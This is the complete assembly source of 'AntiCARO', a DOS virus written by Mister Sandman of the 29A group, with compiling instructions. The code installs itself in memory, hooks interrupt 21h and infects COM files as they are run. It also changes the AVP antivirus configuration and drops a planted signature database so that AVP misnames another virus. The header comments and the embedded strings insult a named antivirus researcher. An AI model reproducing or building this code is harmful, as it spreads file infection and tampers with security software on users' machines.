; ; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; AntiCARO ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ; As i don't agree with CARO and with the way the name viruses, and spe- ; cially the way they *misnamed* VLAD's Bizatch, i decided to write this ; virus... just to protest against the biggest dickhead under the sun, ; Vesselin Bonchev, the virus-baptizer who does whatever he wants making ; abuse of his 'power' in that fucking sect named CARO. ; ; And as i know that, albeit he works at Frisk, his favourite AV is AVP, ; i just took the decission to write this baby, which will modify AVP so ; it will detect Bizatch as 'Bizatch_:P' and not as Boza. ; ; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's ; or YAM's coding skills)... i only developed its originality. Anyway, ; it's interesting to see how does it modify AVP: ; ; It looks for AVP.SET in the current directory it's being loaded from. ; If it finds that file, it will insert a new viral database in the se- ; cond field, and later it will drop that new database, which contains ; the data needed for detecting Bizatch from AVP (have a look at the co- ; de, which is found at the end of this virus). ; ; As this new viral database has been loaded before the rest of the ; other databases (except of KERNEL.AVB, which must be always loaded in ; the first place), it will be the first one containing Bizatch's search ; strings, so it will be the fortunate participant to show the name of ; the virus it has detected :) ; ; About the virus itself, as i told before, it's a lame TSR COM infec- ; tor which hits files on execution (4b00h) and uses SFTs for performing ; the file infection. ; ; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for ; obvious reasons and to Tcp/29A because of his help on its writing. ; ; Compiling instructions: ; ; tasm /m anticaro.asm ; tlink anticaro.obj ; exe2bin anticaro.exe anticaro.com anticaro segment byte public assume cs:anticaro,ds:anticaro org 0 anticaro_start label byte anticaro_size equ anticaro_end-anticaro_start entry_point: call delta_offset delta_offset: pop bp ; Get ë-offset sub bp,offset delta_offset ; for l8r use mov ax,3d02h ; Try to open AVP.SET lea dx,[bp+avp_set] ; if it's found in the int 21h ; current directory jc mem_res_check xchg bx,ax mov ah,3fh ; Read the whole file mov cx,29Ah ;-) lea dx,[bp+anticaro_end] int 21h push ax mov ax,4200h ; Lseek to the second xor cx,cx ; line (first must mov dx,0ch ; be always KERNEL.AVB) int 21h mov ah,40h ; Truncate file from xor cx,cx ; current offset int 21h mov ah,40h ; Write our viral mov cx,0dh ; database name lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as int 21h ; second field mov ah,40h ; And write the rest pop cx ; of the original sub cx,0ch ; AVP.SET we read b4 lea dx,[bp+anticaro_end+0ch] ; to our buffer int 21h mov ah,3eh ; Close file int 21h mov ah,3ch ; Create the new viral xor cx,cx ; database (BIZATCH.AVB) lea dx,[bp+bizatch_base] ; which contains Bizatch's int 21h ; detection data xchg bx,ax mov ah,40h ; Write the database mov cx,base_size ; contents in the new lea dx,[bp+bizatch_avb] ; created file int 21h mov ah,3eh ; Close file int 21h mem_res_check: mov ax,'CA' ; Check if we're already mov bx,'RO' ; memory resident int 21h cmp ax,'SU' ; Coolio residency cmp bx,'X!' ; check... CARO SUX! :P je nothing_to_do install: mov ax,es dec ax mov ds,ax ; Program's MCB segment xor di,di cmp byte ptr ds:[di],'Y' ; Is it a Z block? jna nothing_to_do sub word ptr ds:[di+3],((anticaro_size/10h)+2) sub word ptr ds:[di+12h],((anticaro_size/10h)+2) add ax,word ptr ds:[di+3] inc ax mov ds,ax mov byte ptr ds:[di],'Z' ; Mark block as Z mov word ptr ds:[di+1],8 ; System memory mov word ptr ds:[di+3],((anticaro_size/10h)+1) mov word ptr ds:[di+8],4f44h ; Mark block as owned mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0) inc ax cld push cs pop ds mov es,ax ; Copy virus to memory mov cx,anticaro_size lea si,[bp+anticaro_start] rep movsb push ds mov ds,cx mov es,ax ; Save int 21h's mov si,21h*4 ; original vector lea di,old_int_21h+1 movsw movsw mov word ptr [si-4],offset new_int_21h mov word ptr [si-2],ax ; Set ours pop ds push ds ; CS=DS=ES pop es nothing_to_do: lea si,[bp+host_header] ; Restore host's header mov di,100h ; and jump to cs:100h push di ; for running it movsw movsw ret ; ÄÄ´ note_to_stupid_avers ;) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah db 'Please note: the name of this virus is [AntiCARO] ' db 'written by Mister Sandman of 29A... but... dear ' db 'Bontchy... name it however *you* (and not CARO) want,' db ' as usual; we just don''t mind your childish ' db 'stupidity :)',0dh,0ah ; ÄÄ´ AntiCARO's int 21h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ new_int_21h: cmp ax,'CA' ; Residency check jnz execution? ; Are they asking my cmp bx,'RO' ; opinion about CARO? jnz execution? mov ax,'SU' ; Ok, CARO SUX! :P mov bx,'X!' iret execution?: cmp ax,4b00h ; This is the moment je check_name ; we were waiting for ;)'' old_int_21h: db 0eah ; jmp xxxx:xxxx dw 0,0 ; Original int 21h ; ÄÄ´ Infection routines ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_name: push ax bx cx dx ; Push all this shit push si di ds es ; and clear direction cld ; flag mov ax,3d00h ; Open the file is int 21h ; about to be executed xchg bx,ax call get_sft ; Get its SFT jc dont_infect ; Shit... outta here push cs ; CS=DS pop ds mov ax,word ptr es:[di+28h] ; Check extension cmp ax,'OC' ; There aren't too many je check_file ; 'COx' executables ; besides COMs, right? :) dont_infect: pop es ds di si ; Pop out registers and pop dx cx bx ax ; jmp to the original jmp old_int_21h ; int 21h handler check_file: xor al,al ; Clear and save file xchg al,byte ptr es:[di+4] ; attributes push ax mov word ptr es:[di+2],2 ; Set read/write mode mov ah,3fh ; Read first four mov cx,4 ; bytes to our buffer lea dx,host_header int 21h mov ax,word ptr host_header ; First word in AX add al,ah ; M+Z or Z+M=0a7h :) cmp al,0a7h ; So is it an EXE file? je close_file ; Fuck it cmp byte ptr host_header+3,90h ; Check file for any je close_file ; previous infection mov ax,word ptr es:[di+11h] ; Check file length cmp ax,0faebh ; > 64235? ja close_file push ax ; Save length sub ax,3 ; Make the initial mov word ptr new_header+1,ax ; jmp to our code mov word ptr es:[di+15h],0 ; Lseek to the start mov ah,40h ; Write in our cooler mov cx,4 ; header :) lea dx,new_header int 21h pop ax ; Lseek to the end mov word ptr es:[di+15h],ax ; of the file mov ah,40h ; Append our code mov cx,anticaro_size ; Huh? where's the lea dx,anticaro_start ; call to the poly int 21h ; engine? :) close_file: mov ah,3eh ; Close our victim int 21h pop ax ; Restore attributes mov byte ptr es:[di+4],al ; Pop shit and jump jmp dont_infect ; to the original int 21h ; ÄÄ´ Subroutines... or... oh, well, subroutine :) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ get_sft: push ax bx mov ax,1220h ; Get job file table int 2fh ; in ES:DI (DOS 3+) jc bad_sft xor bx,bx ; Get the address of mov ax,1216h ; the specific SFT for mov bl,byte ptr es:[di] ; our handle int 2fh bad_sft: pop bx ax ; Pop registers and ret ; return to the code ; ÄÄ´ Data area ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ host_header db 0cdh,20h,90h,90h ; Host's header new_header db 0e9h,?,?,90h ; New header buffer avp_set db 'avp.set',0 ; Can't you guess it? :) bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field bizatch_base db 'bizatch.avb',0 ; Viral database name ; ÄÄ´ BIZATCH.AVB viral database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; The hex dump below is the AVP full-compatible viral database which con- ; tains the necessary data for detecting Bizatch. This was done by compi- ; ling the 'belower' code, linking it to a new AVPRO record, and filling ; out some of this record's data fields. These are the steps: ; ; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm. ; - Execute AVP's AVPRO.EXE. ; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb'). ; - Insert a file record in it (Alt-I, and then select 'File virus'). ; - Fill the form as follows: ; ; ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Name: Bizatch_:P Type [ ] COM º ; º Comment: Fuck you, Bontchy [X] EXE º ; º [ ] SYS º ; º Area 1 Header [ ] WIN º ; º Offset 0000 º ; º Length 00 Method Delete º ; º Area 2 Page_C Area Header º ; º Offset 0000 From +0000 º ; º Length 0a Length +0000 º ; º To +0000 º ; > º Link Ü +0000 º ; º ßßßßßß Cut 0000 º ; > º Sum Ü 00000000 º ; º ßßßßßß 00000000 º ; º º ; º Ok Ü Cancel Ü º ; º ßßßßßßßßßß ßßßßßßßßßß º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; - Link biz_dec.obj (Alt-L, and then select it). ; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't ; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the ; dump gap AVPRO will show you. ; - Save the new record and the new viral database. ; ; As you see, this is quite tedious to do, and that's why i included di- ; rectly the hex dump of the result of all these steps, which seems to me ; a bit more easy for you :) ; ; So skip the hex dump and have a look at biz_dec.asm's code, which is the ; really important thing of this virus. base_start label byte base_size equ base_end-base_start-3 bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h db 8ah,02h,00h,00h,74h base_end label byte ; ÄÄ´ Bizatch's detection code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; biz_dec segment byte public 'code' ; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec ; ; _decode proc far ; push ds bp ; mov bp,seg _Header ; Get AVP's data segment ; mov ds,bp ; ; les di,_Header ; Get pointer to header ; mov bp,word ptr es:[di+3ch] ; Get PE header offset ; xor ax,ax ; ; push ax bp ; call far ptr _Seek ; Lseek to PE header ; pop ax ax ; Remove 2 words from stack ; ; les di,_Page_C ; Destination=buffer ; mov ax,0f8h ; Size=f8h bytes ; ; push ax es di ; Read f8h bytes from ; call far ptr _Read ; the PE header ; ; add sp,6 ; Remove 3 words from stack ; les di,_Page_C ; The call changes ES ; cmp word ptr es:[di],'EP' ; Portable Executable? ; jne back_to_avp ; ; mov cx,word ptr es:[di+6] ; Objects number ; next_entry: push cx ; ; mov ax,28h ; Length of each ; push ax es di ; object table entry ; call far ptr _Read ; Read object ; ; add sp,6 ; Remove 3 words from stack ; pop cx ; les di,_Page_C ; Point to our buffer ; cmp word ptr es:[di],'lv' ; vl(ad) object? ; jne search_loop ; ; cmp word ptr es:[di],'da' ; (vl)ad object? ; je lseek_object ; Bingo! :) ; ; search_loop: loop next_entry ; Process next object ; ; back_to_avp: xor ax,ax ; R_CLEAN==0 ; pop bp ds ; Return to AVP ; retf ; ; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object ; push es di ; physical offset ; call far ptr _Seek ; ; pop ax ax ; mov ax,0ah ; Read ten bytes to ; les di,_Page_C ; our buffer (page C) ; push ax es di ; call far ptr _Read ; ; add sp,6 ; And now AVP will compare ; jmp back_to_avp ; those ten bytes with ; _decode endp ; Bizatch's search string ; biz_decode ends ; ; public _decode ; extrn _Page_C:dword ; External AVP's API ; extrn _Header:dword ; functions and buffers ; extrn _Seek:far ; (lseek, read, header, ; extrn _Read:far ; read buffer...) ; end anticaro_end label byte anticaro ends end anticaro_start